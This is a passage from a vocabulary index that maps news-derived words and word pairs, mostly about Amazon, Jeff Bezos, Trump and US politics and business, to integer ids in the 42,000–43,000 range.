"netflix castlevania": 42038, "seattle officials": 42039, "higher proportion": 42040, "york reported": 42041, "horse candidate": 42042, "representatives bids": 42043, "morning interview": 42044, "american cooking": 42045, "amazon sanders": 42046, "don favor": 42047, "cnn white": 42048, "rising risks": 42049, "patents granted": 42050, "book follows": 42051, "says investigators": 42052, "memo according": 42053, "abides": 42054, "essential purpose": 42055, "kleponis epa": 42056, "dwyre political": 42057, "scott ran": 42058, "lindsey bell": 42059, "alleged ami": 42060, "madison malone": 42061, "driven campaigns": 42062, "suspensions": 42063, "potentially hundreds": 42064, "korea problem": 42065, "burnett": 42066, "paris war": 42067, "content fancy": 42068, "neil gorsuch": 42069, "smith mo": 42070, "believe": 42071, "mccain defense": 42072, "hispanic adviser": 42073, "defender": 42074, "medicine": 42075, "entrance exam": 42076, "incident people": 42077, "draw laughs": 42078, "richest counties": 42079, "markle observe": 42080, "report provides": 42081, "culture toys": 42082, "did locate": 42083, "boosted": 42084, "washington cn": 42085, "late sister": 42086, "peasant settlements": 42087, "eager": 42088, "general investigation": 42089, "pentagon determined": 42090, "horowitz telling": 42091, "star dicom": 42092, "ocala economics": 42093, "single week": 42094, "significantly moving": 42095, "bringing america": 42096, "stubs reviewed": 42097, "ago calling": 42098, "124 661": 42099, "amazon buy": 42100, "pulse trump": 42101, "economic shockwave": 42102, "sell stuff": 42103, "basic demands": 42104, "states bezos": 42105, "plane passengers": 42106, "expecting amazon": 42107, "earlier period": 42108, "hand grew": 42109, "corners amazon": 42110, "wide disconnect": 42111, "year requiring": 42112, "gold heads": 42113, "posting tweet": 42114, "glass": 42115, "dragged wall": 42116, "quite literal": 42117, "include class": 42118, "head starts": 42119, "trump policies": 42120, "foxconn provides": 42121, "bills amazon": 42122, "publish intimate": 42123, "gasparino trump": 42124, "reorder drugs": 42125, "understands trump": 42126, "w1 wsfolders": 42127, "previous public": 42128, "dastin washington": 42129, "nationwide ultimately": 42130, "employees relying": 42131, "lot nastier": 42132, "surrounding president": 42133, "disturbing trend": 42134, "america product": 42135, "tank fans": 42136, "1iq5vw0 videodescriptiondivid": 42137, "rapid withdrawal": 42138, "fiction source": 42139, "elections scott": 42140, "nbc jeff": 42141, "perspective michael": 42142, "analysts expect": 42143, "canadian slavic": 42144, "167 billion": 42145, "corporations spend": 42146, "possible global": 42147, "news judicial": 42148, "decipher rumors": 42149, "photo britain": 42150, "indicted roger": 42151, "stress dog": 42152, "assisting google": 42153, "historically struggled": 42154, "splintering": 42155, "tyranny natural": 42156, "promptly remove": 42157, "masterful biography": 42158, "chg amzn": 42159, "rules employers": 42160, "lafayette": 42161, "trillion people": 42162, "happening phil": 42163, "company going": 42164, "google heinz": 42165, "challenging questions": 42166, "safety expert": 42167, "moore 2018": 42168, "prior government": 42169, "old painting": 42170, "sext": 42171, "labor union": 42172, "getty_173218731_200015422000928060 jpg": 42173, "receives individual": 42174, "hours pete": 42175, "p48zyasb92": 42176, "russian money": 42177, "heavily despite": 42178, "rooms cleaning": 42179, "tariffs battle": 42180, "newpaper24": 42181, "uphold privacy": 42182, "judicial vacancy": 42183, "manufacturer xiaomi": 42184, "country pres": 42185, "fait accompli": 42186, "zuker": 42187, "journalistic investigation": 42188, "valuation topping": 42189, "design guru": 42190, "bezos subscribe": 42191, "sold acn": 42192, "generate sufficient": 42193, "mail stream": 42194, "amazon requested": 42195, "time bartiromo": 42196, "american psyche": 42197, "collectively sell": 42198, "radioresource": 42199, "turn capitalist": 42200, "losses nalc": 42201, "eissenstat trump": 42202, "file scott": 42203, "kelsey rohwer": 42204, "injector executefeature": 42205, "receive hundreds": 42206, "paraiba": 42207, "exposed report": 42208, "unlikely marketplace": 42209, "supercar": 42210, "enforcement administration": 42211, "46th president": 42212, "2657635 amazon": 42213, "raton fl": 42214, "saddest": 42215, "shatner": 42216, "really emulates": 42217, "manager washington": 42218, "descriptionplaintext danish": 42219, "cowen citing": 42220, "antique": 42221, "businesses cities": 42222, "briefly mention": 42223, "following facebook": 42224, "males": 42225, "proceedings near": 42226, "republicancongressman": 42227, "foes trump": 42228, "post bolsonaro": 42229, "service developers": 42230, "practice called": 42231, "sachs reckons": 42232, "area new": 42233, "ramsay wrote": 42234, "poll sites": 42235, "tormented american": 42236, "headquarters expected": 42237, "growth opportunities": 42238, "post best": 42239, "solon": 42240, "useful resources": 42241, "wood products": 42242, "news isn": 42243, "promptly ship": 42244, "subpoenaed npr": 42245, "disquisitions": 42246, "rob martinez": 42247, "klan alongside": 42248, "track build": 42249, "cargo service": 42250, "reinstated cheapskates": 42251, "transportation option": 42252, "kelly vice": 42253, "costing platforms": 42254, "term health": 42255, "manigualt": 42256, "allegation kleindienst": 42257, "purchasing motorola": 42258, "pornograhic film": 42259, "million hardcover": 42260, "ferryboat": 42261, "warships": 42262, "average accenture": 42263, "cosby": 42264, "managing editor": 42265, "gigantic entrepreneurial": 42266, "computing open": 42267, "fort": 42268, "beach florida": 42269, "americans preacher": 42270, "media feud": 42271, "enc rentseeking": 42272, "t9x h0": 42273, "oxfam international": 42274, "enterprise births": 42275, "seritage growth": 42276, "competition scrambled": 42277, "comment massachusetts": 42278, "amazon amendment": 42279, "health emergency": 42280, "private keys": 42281, "subsections sport": 42282, "amazon contacted": 42283, "factor ruler": 42284, "amazon gtld": 42285, "literature sources": 42286, "favourite cop": 42287, "far shown": 42288, "conservatives saying": 42289, "idaho usa": 42290, "ap aug": 42291, "hazelwood": 42292, "microsoft topping": 42293, "lawsuit nasa": 42294, "frequently whines": 42295, "trump resorted": 42296, "departed amid": 42297, "business source": 42298, "trump national": 42299, "elections later": 42300, "bs": 42301, "khanna": 42302, "company claims": 42303, "sociological": 42304, "majority china": 42305, "shirt pictured": 42306, "railways": 42307, "hours increase": 42308, "reporting mode": 42309, "fees attacking": 42310, "ill intent": 42311, "tonight": 42312, "jail posted": 42313, "established process": 42314, "incriminating text": 42315, "expansion poses": 42316, "farrar": 42317, "unstoppable titan": 42318, "rents collapsed": 42319, "els lanaria": 42320, "bali": 42321, "temporary workers": 42322, "troubled territory": 42323, "nearly unrestricted": 42324, "long hours": 42325, "muteoverlayclicked": 42326, "yields climb": 42327, "illinois attorney": 42328, "episode led": 42329, "introductory wage": 42330, "brittany": 42331, "drone topped": 42332, "india based": 42333, "achievable recommendations": 42334, "carol melton": 42335, "employees whohave": 42336, "r4ee h9x": 42337, "overstock": 42338, "sanguinetti": 42339, "publishers": 42340, "just needed": 42341, "discontinue shirt": 42342, "faded tu": 42343, "boy deal": 42344, "bookstore clerk": 42345, "competition labor": 42346, "party merchant": 42347, "internet abuzz": 42348, "note scientists": 42349, "nyse col": 42350, "native computing": 42351, "airbnb super": 42352, "long held": 42353, "meal planner": 42354, "block washington": 42355, "face opinion": 42356, "owned radio": 42357, "table": 42358, "major publication": 42359, "expanding amazon": 42360, "specifically pushing": 42361, "vitalhub tsxv": 42362, "executed trump": 42363, "tweeted criticisms": 42364, "embrace openness": 42365, "firm mwpvl": 42366, "country agrees": 42367, "long just": 42368, "latest coverage": 42369, "katie cook": 42370, "current days": 42371, "high alert": 42372, "lefty": 42373, "postage revenue": 42374, "tech diversification": 42375, "pipeline projects": 42376, "sun belt": 42377, "state requirements": 42378, "flat versus": 42379, "shops separately": 42380, "various points": 42381, "prime customer": 42382, "chapo trial": 42383, "amazon craig": 42384, "modify": 42385, "tweety": 42386, "president blasting": 42387, "contacting amazon": 42388, "candidate swidt": 42389, "allegedly": 42390, "sharp president": 42391, "changes tonight": 42392, "attach priority": 42393, "demanded npr": 42394, "storyurl": 42395, "apple balance": 42396, "georgia snl": 42397, "female journalist": 42398, "party controls": 42399, "country driving": 42400, "specialist novelizes": 42401, "rainier square": 42402, "uk paid": 42403, "funded studies": 42404, "world norah": 42405, "904bn times": 42406, "guild investment": 42407, "y1 sa": 42408, "davos abney": 42409, "income": 42410, "new united": 42411, "duckworth addressed": 42412, "legislation 2019": 42413, "8217 helped": 42414, "limiting state": 42415, "hense": 42416, "failing strategy": 42417, "services legal": 42418, "good herera": 42419, "mid 2000s": 42420, "recent market": 42421, "rentevaste perioden": 42422, "share print": 42423, "phone tablet": 42424, "technological safeguards": 42425, "saw shares": 42426, "clocking": 42427, "housewives": 42428, "discuss privately": 42429, "molly shannon": 42430, "affaire bezos": 42431, "biometric scans": 42432, "bqb58ewvji jordan": 42433, "deal believed": 42434, "thoughtful comprehensive": 42435, "people suggests": 42436, "houses right": 42437, "features interactive": 42438, "break ing": 42439, "human disease": 42440, "accuses lampert": 42441, "expert roger": 42442, "whip": 42443, "torrent": 42444, "larry ellison": 42445, "effort amazon": 42446, "spotify technology": 42447, "fargo fake": 42448, "loose given": 42449, "mmxviii cbs": 42450, "storyteller": 42451, "wise": 42452, "rain koett": 42453, "need 2018": 42454, "expect long": 42455, "donned": 42456, "risks peace": 42457, "important ally": 42458, "dumped new": 42459, "graphic images": 42460, "desert stretches": 42461, "counterfeits specifically": 42462, "pays fulfillment": 42463, "christian poirier": 42464, "groban": 42465, "amazon butt": 42466, "asks amazon": 42467, "san francisco": 42468, "needed access": 42469, "axvpbhjd2u": 42470, "exact opposite": 42471, "point mentioned": 42472, "landings": 42473, "staff according": 42474, "insanely profitable": 42475, "statewide office": 42476, "typeof": 42477, "actingfbi": 42478, "media turned": 42479, "seattle according": 42480, "tall__head": 42481, "girls coming": 42482, "examples include": 42483, "administration citi": 42484, "biggest media": 42485, "thousands": 42486, "time cape": 42487, "banned forum": 42488, "previewed": 42489, "planned reconstruction": 42490, "president described": 42491, "shopper behavior": 42492, "aggravated": 42493, "steep discounts": 42494, "consumer feeling": 42495, "mommy": 42496, "news leaders": 42497, "isn subjected": 42498, "spur": 42499, "7636 expanded": 42500, "anybody outdoors": 42501, "hours babysitting": 42502, "fromoffice wow": 42503, "vt danielle": 42504, "settled worlds": 42505, "t5q r4ee": 42506, "smart enterprise": 42507, "privacy election": 42508, "new subscribers": 42509, "jennifer payseno": 42510, "affair trump": 42511, "cash stock": 42512, "investment reviews": 42513, "including trade": 42514, "explained amazon": 42515, "rosa": 42516, "encourage deliveries": 42517, "cutouts": 42518, "tyger lawyer": 42519, "effective veto": 42520, "flip picture": 42521, "member mike": 42522, "sports giant": 42523, "uploaded_files": 42524, "consumers trump": 42525, "trump lies": 42526, "169 pages": 42527, "operational budgets": 42528, "mvmt": 42529, "completely gentrified": 42530, "tech baron": 42531, "intruder": 42532, "murder 27yrs": 42533, "american liberalism": 42534, "11pm cbs": 42535, "century adding": 42536, "trump invented": 42537, "justice scalia": 42538, "poll findings": 42539, "worst suspicions": 42540, "host secret": 42541, "ami nominally": 42542, "dive earlier": 42543, "unemployment rate": 42544, "includes claims": 42545, "unexplored": 42546, "oprah": 42547, "smaller business": 42548, "xml encoding": 42549, "alternate reality": 42550, "lanariaamberkira": 42551, "major incumbent": 42552, "testimony reaction": 42553, "existing conditions": 42554, "including union": 42555, "device dubbed": 42556, "indigenous population": 42557, "accelerating profits": 42558, "idea eli": 42559, "david tennant": 42560, "little higher": 42561, "miguel trinidad": 42562, "largest rain": 42563, "hope hardship": 42564, "infowars host": 42565, "internet retailers": 42566, "yeats saying": 42567, "ninety": 42568, "mahon tullier": 42569, "party biggest": 42570, "antineoplaston treatment": 42571, "saved special": 42572, "companies begin": 42573, "repeatedly": 42574, "us1 travel": 42575, "developed tax": 42576, "create long": 42577, "unreleased": 42578, "hall started": 42579, "generate revenue": 42580, "antitrust enforcement": 42581, "seas threaten": 42582, "supplied straight": 42583, "intentionally": 42584, "ethnic cleansing": 42585, "1328627 chinese": 42586, "excellent customer": 42587, "carney obama": 42588, "david hughes": 42589, "equity amazon": 42590, "constant": 42591, "sourced": 42592, "misclassification": 42593, "handily defeated": 42594, "floors": 42595, "network explains": 42596, "papazian told": 42597, "political trump": 42598, "state agency": 42599, "complaint allen": 42600, "hereof": 42601, "nabbed": 42602, "generation networks": 42603, "jobs foxconn": 42604, "sec rejected": 42605, "positivity": 42606, "consulate": 42607, "dailycaller": 42608, "process interesting": 42609, "presidential transport": 42610, "criticized trump": 42611, "school building": 42612, "barangay ambago": 42613, "timothynoah1": 42614, "missed critical": 42615, "buy stories": 42616, "concerned amazonians": 42617, "brought ton": 42618, "eileen": 42619, "utterly unnecessary": 42620, "new platform": 42621, "helmke robina": 42622, "grabbing slice": 42623, "councilman paul": 42624, "differences remain": 42625, "screen": 42626, "lie smollett": 42627, "enquirer blackmailing": 42628, "menaces": 42629, "trump booster": 42630, "amazon skipping": 42631, "campaigner elizabeth": 42632, "apple decision": 42633, "proud protector": 42634, "physical biological": 42635, "blackmail saying": 42636, "sector medium": 42637, "business practice": 42638, "feedback contact": 42639, "nicosia newspolitics": 42640, "price gap": 42641, "copyright war": 42642, "married just": 42643, "prove distracting": 42644, "county va": 42645, "products yesterday": 42646, "defense cio": 42647, "gripping story": 42648, "plutocrats andrew": 42649, "new hub": 42650, "value noting": 42651, "noting amazon": 42652, "sun": 42653, "1041868256464654336 oracle": 42654, "tax caps": 42655, "buybacks amazon": 42656, "daily gains": 42657, "aed": 42658, "produced record": 42659, "fiance": 42660, "job probably": 42661, "cloud infrastructure": 42662, "1914": 42663, "overzicht": 42664, "lyz lenz": 42665, "consumers pet": 42666, "806 shares": 42667, "bonobos": 42668, "equipment index": 42669, "atwood twitter": 42670, "wholesome dad": 42671, "bemoaning": 42672, "ryan mullenix": 42673, "expected lifetime": 42674, "smirk subtle": 42675, "clock designed": 42676, "enormously": 42677, "bills online": 42678, "try v0": 42679, "unprecedented war": 42680, "tech company": 42681, "specific portions": 42682, "authentic amazon": 42683, "embarrassing stories": 42684, "conquistador": 42685, "lucid": 42686, "taxi kidman": 42687, "tom cole": 42688, "postal official": 42689, "youth activists": 42690, "index shows": 42691, "lethbridge makeover": 42692, "missing baby": 42693, "vox emily": 42694, "ordinarily badly": 42695, "tax large": 42696, "ron": 42697, "extort money": 42698, "southwest premier": 42699, "peace process": 42700, "saying richard": 42701, "778": 42702, "having real": 42703, "includes grocery": 42704, "popular just": 42705, "amazon competes": 42706, "amazon leveraging": 42707, "adp nasdaq": 42708, "maye": 42709, "positive economic": 42710, "chris receiving": 42711, "department did": 42712, "white amazon": 42713, "neighbours": 42714, "build efficient": 42715, "joint new": 42716, "derail changes": 42717, "dependents assistance": 42718, "jr richmond": 42719, "diary danny": 42720, "theserpicoside": 42721, "frowned": 42722, "chamber": 42723, "foreign trips": 42724, "2017 washington": 42725, "resentment": 42726, "facebook discuss": 42727, "delivery tjv": 42728, "push ahead": 42729, "botched": 42730, "explosive story": 42731, "handcuffed": 42732, "operation cincyinsights": 42733, "guaranteed payments": 42734, "lawmakers noted": 42735, "google responded": 42736, "grundy": 42737, "differed": 42738, "www2": 42739, "insulated stainless": 42740, "pretty questionable": 42741, "digital technologies": 42742, "nearly": 42743, "companies months": 42744, "awakening": 42745, "cents priority": 42746, "welcomed amazon": 42747, "elect trump": 42748, "open animosity": 42749, "checked bags": 42750, "restrict australian": 42751, "worth read": 42752, "bay ivanka": 42753, "amazon disappointing": 42754, "trust corp": 42755, "richer smarter": 42756, "fazzari": 42757, "traditional allies": 42758, "caijing": 42759, "apply antitrust": 42760, "campaign expenses": 42761, "archipelago": 42762, "guardian jack": 42763, "pose problems": 42764, "vision program": 42765, "aapl escaped": 42766, "tech headlines": 42767, "estimates 2018": 42768, "start today": 42769, "trademark guild": 42770, "sawant": 42771, "gis": 42772, "store balcony": 42773, "q2 sales": 42774, "unconfirmed reports": 42775, "lobbyist 8221": 42776, "homelessness mary": 42777, "left unsaid": 42778, "involving domestic": 42779, "kitchen timers": 42780, "follows monthslong": 42781, "citing source": 42782, "severe emotional": 42783, "scrutinizing": 42784, "unintentional leaks": 42785, "sells virtually": 42786, "security departments": 42787, "regulations": 42788, "wine northumbria": 42789, "wind chill": 42790, "amazon comparisons": 42791, "avoid paying": 42792, "federal appeals": 42793, "euro american": 42794, "africa 106": 42795, "dream fully": 42796, "manifestation": 42797, "menagerie": 42798, "critical reporting": 42799, "1077231267559755776": 42800, "order partly": 42801, "bezos thinks": 42802, "cautious": 42803, "touting domestic": 42804, "infiltrated computers": 42805, "widely praised": 42806, "mean billion": 42807, "emily ratajkowski": 42808, "msnbc locking": 42809, "flash sales": 42810, "interjected": 42811, "amazon reviews": 42812, "models dominick": 42813, "fordham university": 42814, "dumping major": 42815, "chief strategist": 42816, "books amber": 42817, "thinks national": 42818, "infatuation": 42819, "cub network": 42820, "ian frazier": 42821, "hush payment": 42822, "political challenge": 42823, "opening act": 42824, "advocates hoped": 42825, "poverty people": 42826, "movement farc": 42827, "facebook fed": 42828, "menthol crystals": 42829, "requires online": 42830, "online shoppers": 42831, "asking cabinet": 42832, "new restaurant": 42833, "wholesale stores": 42834, "big media": 42835, "violent agendas": 42836, "maga acronym": 42837, "team abhorrent": 42838, "content sign": 42839, "best support": 42840, "tech accountable": 42841, "company clean": 42842, "hierarchy": 42843, "workforce work": 42844, "index return": 42845, "happening": 42846, "prime subscription": 42847, "instances did": 42848, "advisor air": 42849, "deliver experts": 42850, "face lawmakers": 42851, "progressively": 42852, "enableautoplayblock": 42853, "fixed saying": 42854, "diminutive": 42855, "media descriptionplaintext": 42856, "amy": 42857, "merger schiff": 42858, "previous trademark": 42859, "dunham britain": 42860, "headline hottest": 42861, "say hello": 42862, "resolution": 42863, "tropics spoke": 42864, "net mike": 42865, "weak revenue": 42866, "travel places": 42867, "compound": 42868, "discussions begin": 42869, "maybe 100": 42870, "concrete plans": 42871, "wasn hacked": 42872, "addeventlistener": 42873, "bidding": 42874, "mobile network": 42875, "brand wegmans": 42876, "record lows": 42877, "accepts banana": 42878, "regulators reverse": 42879, "global companies": 42880, "shares jumped": 42881, "regionally": 42882, "camp telogia": 42883, "select don": 42884, "flash storage": 42885, "buy recommendation": 42886, "ultra powerful": 42887, "called hb40": 42888, "world worker": 42889, "veterans active": 42890, "475": 42891, "unconcerned": 42892, "family owned": 42893, "ubhi outspoken": 42894, "000 grand": 42895, "noncash amortization": 42896, "finn amazon": 42897, "speed": 42898, "exotically wealthy": 42899, "fqzm3suyxa bernie": 42900, "kimani": 42901, "priyanka chopra": 42902, "moss confirms": 42903, "meriwether new": 42904, "opinion overall": 42905, "comics": 42906, "soros disseminating": 42907, "truly innovative": 42908, "foods tests": 42909, "second years": 42910, "merely talked": 42911, "violated company": 42912, "parent": 42913, "just targeting": 42914, "possibility occasionally": 42915, "obstructed justice": 42916, "incumbent party": 42917, "popular neapolitan": 42918, "pass law": 42919, "nasdaq slid": 42920, "having avoided": 42921, "slideshows": 42922, "filmmaker": 42923, "regular season": 42924, "eyesight": 42925, "elements discover": 42926, "seth declined": 42927, "alphabet microsoft": 42928, "joanne chen": 42929, "distorts cost": 42930, "advises companies": 42931, "sent directly": 42932, "child separation": 42933, "tons black": 42934, "repeated criticisms": 42935, "crisis vice": 42936, "pre built": 42937, "2018 portland": 42938, "late senator": 42939, "media lawyers": 42940, "mocked": 42941, "sue": 42942, "yorkers approve": 42943, "videoplayer hidethumbnail": 42944, "better chance": 42945, "purchasing building": 42946, "dramatic shifting": 42947, "benchmark 500": 42948, "impeaching rosenstein": 42949, "trashy": 42950, "held": 42951, "tougher regulations": 42952, "leaning": 42953, "nate silver": 42954, "mergers stoking": 42955, "gould asset": 42956, "google developments": 42957, "indie film": 42958, "information cloud": 42959, "lakewood": 42960, "privacy reasons": 42961, "welcome arrest": 42962, "generic goods": 42963, "military allies": 42964, "tv coverage": 42965, "executive trump": 42966, "opponent using": 42967, "teams moment": 42968, "certain mean": 42969, "bj 2017": 42970, "global_advisors": 42971, "year schuster": 42972, "eligible employee": 42973, "chinese counterfeiters": 42974, "welcoming source": 42975, "employees evading": 42976, "games enjoy": 42977, "trust women": 42978, "carafano america": 42979, "don sit": 42980, "biggest single": 42981, "answer reporter": 42982, "wasn mercenary": 42983, "gmt president": 42984, "economy trump": 42985, "139bn": 42986, "parked gillum": 42987, "romances": 42988, "amazon appearing": 42989, "kocieniewski": 42990, "revenue wasn": 42991, "troubling": 42992, "surprise drop": 42993, "goods maker": 42994, "300x200 getty_623710176_388104": 42995, "schwartzman told": 42996, "trump narrative": 42997, "city presence": 42998, "attr": 42999, "toys follow": 43000, "left following": 43001, "dltr sgn": 43002, "block larry": 43003, "woodward reveals": 43004, "vino deep": 43005, "pitch finals": 43006, "dc metro": 43007, "documents seen": 43008, "politico alice": 43009, "wsj noted": 43010, "germans chancellor": 43011, "life": 43012, "cincinnati northern": 43013, "overall bestseller": 43014, "ships using": 43015, "hardware manipulations": 43016, "incredibly lucky": 43017, "pigeon": 43018, "pricing amazon": 43019, "v7wv9basue new": 43020, "experiences dave": 43021, "yes slowing": 43022, "behest": 43023, "stories currently": 43024, "allowed mnuchin": 43025, "career white": 43026, "voting": 43027, "257": 43028, "shipping video": 43029, "time promotions": 43030, "bezos publicly": 43031, "need arrive": 43032, "abdullah": 43033, "seen trump": 43034, "limbaugh sean": 43035, "prefer multi": 43036, "dispatches": 43037, "president baptized": 43038, "korea american": 43039, "clear evidence": 43040, "groups benefiting": 43041, "destroy merchandise": 43042, "utilising": 43043, "reason advising": 43044, "despite worries": 43045, "fact chuck": 43046, "citywide": 43047, "louisiana tennessee": 43048, "mysterious joint": 43049, "companies bore": 43050, "total joke": 43051, "wynne brother": 43052, "permit veterans": 43053, "critics responds": 43054, "country greatest": 43055, "delia": 43056, "says white": 43057, "conference want": 43058, "messy floor": 43059, "just ribbing": 43060, "nashville business": 43061, "retailer earlier": 43062, "duty free": 43063, "garden patch": 43064, "disastrous results": 43065, "harms communities": 43066, "stock extended": 43067, "disarming north": 43068, "sexual mores": 43069, "historic oscars": 43070, "service uss": 43071, "studios vincent": 43072, "oluo": 43073, "amazon lose": 43074, "cheers shane": 43075, "revenue similar": 43076, "private cloud": 43077, "mainstay": 43078, "reuters retail": 43079, "church pastoral": 43080, "push setinitialvideoembed": 43081, "elevates awareness": 43082, "phony": 43083, "763 sen": 43084, "goat cooking": 43085, "company solicited": 43086, "285 words": 43087, "nice touch": 43088, "salles declared": 43089, "growing movement": 43090, "google owned": 43091, "legitimate uses": 43092, "fedex level": 43093, "cnet looks": 43094, "futures struggled": 43095, "learn best": 43096, "videocollection shouldstartvideo": 43097, "estimates reuters": 43098, "meeting acquired": 43099, "chile economy": 43100, "entails genuinely": 43101, "busineses": 43102, "larry page": 43103, "andyostroy": 43104, "national charged": 43105, "shares sand": 43106, "wascompletely": 43107, "resents": 43108, "dickerson yes": 43109, "coolidge administration": 43110, "economics": 43111, "elaine pagels": 43112, "market article": 43113, "amazon began": 43114, "start attorney": 43115, "position predictive": 43116, "funny trump": 43117, "enquirer relationship": 43118, "households": 43119, "javascript enabled": 43120, "pass posted": 43121, "moderates panel": 43122, "delegation officials": 43123, "saying powell": 43124, "yoga studio": 43125, "upside surprise": 43126, "staples company": 43127, "policies online": 43128, "payday loans": 43129, "politicians received": 43130, "sea algae": 43131, "maintain desirable": 43132, "working poor": 43133, "generation family": 43134, "escalated climate": 43135, "house notably": 43136, "cook personal": 43137, "killing potential": 43138, "000 commercial": 43139, "markets share": 43140, "striking images": 43141, "certain customers": 43142, "avowed nazi": 43143, "frandsen": 43144, "drummers": 43145, "digital giant": 43146, "verde super": 43147, "averted trade": 43148, "dollar investment": 43149, "final results": 43150, "owns major": 43151, "wrote treasury": 43152, "wrist": 43153, "resonate strongly": 43154, "753 shares": 43155, "leadership elections": 43156, "ai advancements": 43157, "trump enquirer": 43158, "hello long": 43159, "massive earthquake": 43160, "drastic": 43161, "invoking national": 43162, "elevated versus": 43163, "tnt": 43164, "invite putin": 43165, "monopo": 43166, "political motivation": 43167, "force presented": 43168, "long affair": 43169, "saviors": 43170, "ratesworld": 43171, "story beth": 43172, "late stan": 43173, "trademark copyright": 43174, "center bluefin": 43175, "executive defended": 43176, "massive 380": 43177, "giant growing": 43178, "bought nvidia": 43179, "myths debunked": 43180, "alleged infidelities": 43181, "bezos showed": 43182, "adblock plus": 43183, "detective thriller": 43184, "based incentives": 43185, "sale online": 43186, "boeing nyse": 43187, "results winner": 43188, "significant climate": 43189, "hartsfield jackson": 43190, "kids saying": 43191, "intensly": 43192, "political dysfunction": 43193, "just unusual": 43194, "investing tax": 43195, "hq2 site": 43196, "s\u00e3o": 43197, "seattle affiliate": 43198, "question contributing": 43199, "trump aides": 43200, "new administration": 43201, "manage team": 43202, "international trip": 43203, "kept printing": 43204, "details check": 43205, "counterfeit marketplaces": 43206, "2018 posted": 43207, "vudu monrovia": 43208, "amazon harley": 43209, "dam breached": 43210, "poor economic": 43211, "morthland": 43212, "quarante": 43213, "steinhauer": 43214, "protected lands": 43215, "fallacious dozens": 43216, "hassled": 43217, "chad french": 43218, "zuckerberg testimony": 43219, "final destinations": 43220, "nhis executive": 43221, "shipping puzzle": 43222, "provide date": 43223, "cramer scott": 43224, "gracious dignified": 43225, "criticize sinclair": 43226, "higher hourly": 43227, "free break": 43228, "uber convenient": 43229, "directed ultimately": 43230, "sued hhs": 43231, "denied amazon": 43232, "favorability": 43233, "copyright infringement": 43234, "state governments": 43235, "equitable distribution": 43236, "reich expresses": 43237, "biggest wealth": 43238, "service sessions": 43239, "helm amazon": 43240, "publix": 43241, "incredibly grateful": 43242, "tract 34007608504": 43243, "bad mouth": 43244, "act stop": 43245, "joanne": 43246, "wegmann": 43247, "procuring voice": 43248, "additional progress": 43249, "post detailing": 43250, "starkest terms": 43251, "mused": 43252, "holds 170": 43253, "monsignor philip": 43254, "major companies": 43255, "naacp member": 43256, "typing binary": 43257, "data source": 43258, "type locations": 43259, "fueling plans": 43260, "hogan washington": 43261, "employees income": 43262, "sentences": 43263, "accusing company": 43264, "nature": 43265, "increase retail": 43266, "jerri ann": 43267, "counselor": 43268, "app fined": 43269, "echo designed": 43270, "despite mexico": 43271, "fbi episodes": 43272, "planned infrastructure": 43273, "capitals celebration": 43274, "news people": 43275, "conveyor": 43276, "vuitton trademark": 43277, "fcc implementation": 43278, "antifa getups": 43279, "bezos sexts": 43280, "resource bio": 43281, "special counsels": 43282, "bad people": 43283, "hennessey": 43284, "reporting honed": 43285, "playerid": 43286, "reliable corporations": 43287, "apple shares": 43288, "falsely labelled": 43289, "marijuana company": 43290, "tech gathering": 43291, "speech equities": 43292, "jewelry health": 43293, "community input": 43294, "political think": 43295, "federal budget": 43296, "watch shows": 43297, "spicer hosting": 43298, "actual voice": 43299, "coverage areas": 43300, "sympathies": 43301, "ambrosetti": 43302, "campaign galloway": 43303, "trump broke": 43304, "nathan": 43305, "dining": 43306, "sources woodward": 43307, "stagnant wages": 43308, "wind imperfect": 43309, "obama congressman": 43310, "gop prepares": 43311, "northwest detention": 43312, "wasting resources": 43313, "unprecedented public": 43314, "emboldens extremists": 43315, "foods app": 43316, "blaze aside": 43317, "year abroad": 43318, "t000047680": 43319, "wealthiest": 43320, "delightful zany": 43321, "officer jon": 43322, "classes": 43323, "superintendent": 43324, "checked specific": 43325, "supporter disagree": 43326, "amazon hq2s": 43327, "protected territory": 43328, "essex": 43329, "peter": 43330, "peterson saks": 43331, "embedded video": 43332, "ballot catch": 43333, "brexit flashpoint": 43334, "east west": 43335, "reader amazon": 43336, "origin congress": 43337, "sexually": 43338, "advertising today": 43339, "vicious anti": 43340, "street stocks": 43341, "computer code": 43342, "opposing new": 43343, "harmony tranquility": 43344, "carl ichan": 43345, "issue resolved": 43346, "airport trump": 43347, "day set": 43348, "patrick sawyer": 43349, "local subsidies": 43350, "census": 43351, "siddiqui yes": 43352, "statement reuters": 43353, "marcos": 43354, "great james": 43355, "wide swath": 43356, "stalin": 43357, "cart onstage": 43358, "past criticism": 43359, "old physically": 43360, "timmins": 43361, "illegally funneled": 43362, "attacks ford": 43363, "sell ivanka": 43364, "paranoid style": 43365, "morten": 43366, "taylor couldn": 43367, "meaning divorce": 43368, "campaign style": 43369, "levy consumption": 43370, "reunited": 43371, "group list": 43372, "responsible investing": 43373, "innovator unfortunately": 43374, "discrimination saying": 43375, "year drop": 43376, "disillusionment": 43377, "stand guess": 43378, "board spot": 43379, "addiction": 43380, "cite surveillance": 43381, "service violates": 43382, "amazon possible": 43383, "prosperity bomb": 43384, "avoidance cnn": 43385, "sol": 43386, "ceo brad": 43387, "kindle pacs": 43388, "wrote pay": 43389, "nazi party": 43390, "smart doorbell": 43391, "preparing ahead": 43392, "following sexual": 43393, "dealmaker join": 43394, "commented amazon": 43395, "aptly named": 43396, "trussell deutsche": 43397, "prompted republicans": 43398, "rami": 43399, "engineers warehouse": 43400, "million private": 43401, "california playbook": 43402, "employees shall": 43403, "conservatives": 43404, "including aerospace": 43405, "earnings announcement": 43406, "stored confidential": 43407, "large educational": 43408, "pig": 43409, "friends tell": 43410, "collusion": 43411, "advocacy companies": 43412, "amazon performs": 43413, "hits ecommerce": 43414, "life follow": 43415, "possible overreach": 43416, "305vbuonjl thebeat": 43417, "commerce going": 43418, "related tax": 43419, "critic trump": 43420, "union amazon": 43421, "bluefin tuna": 43422, "projects offer": 43423, "aws program": 43424, "holding": 43425, "moonves": 43426, "seattle offices": 43427, "sick tacoma": 43428, "charges sears": 43429, "tax refund": 43430, "harrer": 43431, "2018 editor": 43432, "ryan": 43433, "alleged hack": 43434, "ping ponging": 43435, "restricting 2b": 43436, "chamayou": 43437, "decline caused": 43438, "million jews": 43439, "washington owns": 43440, "politicians president": 43441, "box determined": 43442, "good portion": 43443, "warner planned": 43444, "remarks operator": 43445, "scandal ridesharing": 43446, "ban books": 43447, "hermes": 43448, "fleeing nazis": 43449, "consecutive sessions": 43450, "company purchase": 43451, "outside vendors": 43452, "exterior exlarge": 43453, "rock tune": 43454, "finally jumped": 43455, "policy division": 43456, "break bezos": 43457, "governance possible": 43458, "stealthy": 43459, "politics nbc": 43460, 